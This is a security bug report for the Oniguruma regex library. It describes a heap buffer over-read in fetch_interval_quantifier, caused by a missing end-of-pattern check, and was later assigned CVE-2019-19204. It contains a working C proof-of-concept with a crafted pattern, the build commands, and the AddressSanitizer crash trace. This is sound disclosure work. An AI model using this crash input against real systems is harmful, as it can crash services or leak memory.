heap-buffer-overflow in fetch_interval_quantifier due to double PFETCH

[ManhNDd]

At regparse.c:4182 in fetch_interval_quantifier, PFETCH is called without checking PEND:

  if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) {
    if (c != MC_ESC(env->syntax)) goto invalid;
    PFETCH(c);
  }

This leads to heap-buffer-overflow.
PoC:

#include <stdlib.h>
#include <string.h>
#include "oniguruma.h"

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;
  char *pattern = (char*)malloc(6);
  memcpy(pattern, "_\\{21\\", 6);
  char *pattern_end = pattern + 6;
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_NONE, enc, ONIG_SYNTAX_GREP, &einfo);
  if (r == ONIG_NORMAL) {
    onig_free(reg);
  }

  onig_end();
  return 0;
}

Compilation of oniguruma and PoC:

./configure CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address CC=gcc
make
gcc -fsanitize=address -I./src poc.c ./src/.libs/libonig.a -o poc

Output of PoC:

=================================================================
==32058==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff6 at pc 0x00000044cb35 bp 0x7fffe9b35350 sp 0x7fffe9b35340
READ of size 1 at 0x60200000eff6 thread T0
    #0 0x44cb34 in onigenc_single_byte_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704
    #1 0x4683a0 in fetch_interval_quantifier /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:4182
    #2 0x46e79a in fetch_token /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:5009
    #3 0x481e9f in parse_exp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:7974
    #4 0x483de7 in parse_branch /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8303
    #5 0x48431b in parse_alts /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8354
    #6 0x484808 in parse_regexp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8413
    #7 0x484db1 in onig_parse_tree /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8468
    #8 0x423c6b in onig_compile /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6694
    #9 0x424e53 in onig_new /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6964
    #10 0x401265 in main poc-fetch_interval_quantifier-2-PFETCH.c:24
    #11 0x7ff6af3ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #12 0x401048 in _start (/root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH+0x401048)

0x60200000eff6 is located 0 bytes to the right of 6-byte region [0x60200000eff0,0x60200000eff6)
allocated by thread T0 here:
    #0 0x7ff6af841602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x4011e2 in main poc-fetch_interval_quantifier-2-PFETCH.c:17
    #2 0x7ff6af3ff82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704 onigenc_single_byte_mbc_to_code
Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dc0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 00
  0x0c047fff9dd0: fa fa 06 fa fa fa 00 00 fa fa 06 fa fa fa 00 00
  0x0c047fff9de0: fa fa 04 fa fa fa 00 00 fa fa 00 01 fa fa 00 00
=>0x0c047fff9df0: fa fa 00 00 fa fa 05 fa fa fa 00 00 fa fa[06]fa
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==32058==ABORTING

[kkos]

Thank you.
For a long time I forgot to fuzz test other than the default syntax.
This problem occurs in PosixBasic, Emacs, Grep syntaxes.

[ManhNDd]

This was assigned CVE-2019-19204.